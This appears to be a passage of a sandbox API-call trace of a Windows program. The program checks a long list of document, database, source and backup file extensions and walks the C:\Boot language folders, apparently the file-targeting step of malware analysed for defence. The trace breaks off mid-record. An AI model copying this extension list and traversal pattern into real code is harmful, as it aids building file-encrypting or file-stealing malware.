[0033.036] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".adb") returned 4 [0033.036] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".adp") returned 4 [0033.036] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".ai") returned 3 [0033.036] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.036] lstrlenW (lpString=".ai3") returned 4 [0033.036] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".ai4") returned 4 [0033.036] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".ai5") returned 4 [0033.036] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".ai6") returned 4 [0033.036] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".ai7") returned 4 [0033.036] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".ai8") returned 4 [0033.036] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.036] lstrlenW (lpString=".anim") returned 5 [0033.036] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".arw") returned 4 [0033.037] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".as") returned 3 [0033.037] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.037] lstrlenW (lpString=".asa") returned 4 [0033.037] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".asc") returned 4 [0033.037] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".ascx") returned 5 [0033.037] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".asm") returned 4 [0033.037] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".asmx") returned 5 [0033.037] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".asp") returned 4 [0033.037] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".aspx") returned 5 [0033.037] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".asr") returned 4 [0033.037] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".asx") returned 4 [0033.037] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".avi") returned 4 [0033.037] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".avs") returned 4 [0033.037] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".backup") returned 7 [0033.037] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".bak") returned 4 [0033.037] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".bay") returned 4 [0033.037] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.037] lstrlenW (lpString=".bd") returned 3 [0033.037] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.037] lstrlenW (lpString=".bin") returned 4 [0033.038] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".bmp") returned 4 [0033.038] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".bz2") returned 4 [0033.038] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".c") returned 2 [0033.038] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.038] lstrlenW (lpString=".cdr") returned 4 [0033.038] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cer") returned 4 [0033.038] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cf") returned 3 [0033.038] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.038] lstrlenW (lpString=".cfc") returned 4 [0033.038] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cfm") returned 4 [0033.038] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cfml") returned 5 [0033.038] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cfu") returned 4 [0033.038] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".chm") returned 4 [0033.038] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cin") returned 4 [0033.038] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".class") returned 6 [0033.038] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".clx") returned 4 [0033.038] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".config") returned 7 [0033.038] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cpp") returned 4 [0033.038] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.038] lstrlenW (lpString=".cr2") returned 4 [0033.038] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".crt") returned 4 [0033.039] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".crw") returned 4 [0033.039] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".cs") returned 3 [0033.039] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.039] lstrlenW (lpString=".css") returned 4 [0033.039] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".csv") returned 4 [0033.039] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".cub") returned 4 [0033.039] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dae") returned 4 [0033.039] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dat") returned 4 [0033.039] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".db") returned 3 [0033.039] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.039] lstrlenW (lpString=".dbf") returned 4 [0033.039] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dbx") returned 4 [0033.039] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dc3") returned 4 [0033.039] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dcm") returned 4 [0033.039] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dcr") returned 4 [0033.039] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".der") returned 4 [0033.039] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dib") returned 4 [0033.039] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dic") returned 4 [0033.039] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.039] lstrlenW (lpString=".dif") returned 4 [0033.039] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".divx") returned 5 [0033.040] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".djvu") returned 5 [0033.040] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".dng") returned 4 [0033.040] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".doc") returned 4 [0033.040] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".docm") returned 5 [0033.040] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".docx") returned 5 [0033.040] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".dot") returned 4 [0033.040] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".dotm") returned 5 [0033.040] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".dotx") returned 5 [0033.040] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".dpx") returned 4 [0033.040] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".dqy") returned 4 [0033.040] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.040] lstrlenW (lpString=".dsn") returned 4 [0033.041] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".dt") returned 3 [0033.041] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.041] lstrlenW (lpString=".dtd") returned 4 [0033.041] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".dwg") returned 4 [0033.041] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".dwt") returned 4 [0033.041] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".dx") returned 3 [0033.041] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.041] lstrlenW (lpString=".dxf") returned 4 [0033.041] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".edml") returned 5 [0033.041] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".efd") returned 4 [0033.041] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".elf") returned 4 [0033.041] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".emf") returned 4 [0033.041] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".emz") returned 4 [0033.041] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".epf") returned 4 [0033.041] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".eps") returned 4 [0033.041] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".epsf") returned 5 [0033.041] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".epsp") returned 5 [0033.041] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".erf") returned 4 [0033.041] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.041] lstrlenW (lpString=".exr") returned 4 [0033.041] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.042] lstrlenW (lpString=".f4v") returned 4 [0033.042] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.042] lstrlenW (lpString=".fido") returned 5 [0033.042] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.042] lstrlenW (lpString=".flm") returned 4 [0033.042] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0033.042] lstrlenW (lpString=".flv") returned 4 [0033.042] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0033.042] lstrlenW (lpString=".frm") returned 4 [0033.042] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0033.042] lstrlenW (lpString=".fxg") returned 4 [0033.042] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0033.042] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.042] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52b0 [0033.042] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.042] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.043] FindClose (in: hFindFile=0x5a52b0 | out: hFindFile=0x5a52b0) returned 1 [0033.043] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.043] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.043] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.043] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52b0 [0033.044] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.044] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.044] FindClose (in: hFindFile=0x5a52b0 | out: hFindFile=0x5a52b0) returned 1 [0033.044] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.044] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.044] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.044] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52b0 [0033.045] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.045] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.045] FindClose (in: hFindFile=0x5a52b0 | out: hFindFile=0x5a52b0) returned 1 [0033.045] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.045] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.045] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.045] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52b0 [0033.046] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.046] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.046] FindClose (in: hFindFile=0x5a52b0 | out: hFindFile=0x5a52b0) returned 1 [0033.046] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.046] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.046] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.046] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52b0 [0033.047] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.047] FindNextFileW (in: hFindFile=0x5a52b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.047] FindClose (in: hFindFile=0x5a52b0 | out: hFindFile=0x5a52b0) returned 1 [0033.047] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.047] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.047] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.047] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e28 [0033.048] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.048] FindNextFileW (in: hFindFile=0x5a2e28, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.048] FindClose (in: hFindFile=0x5a2e28 | out: hFindFile=0x5a2e28) returned 1 [0033.048] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0033.048] FindNextFileW (in: hFindFile=0x5a4268, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.048] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0033.048] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, 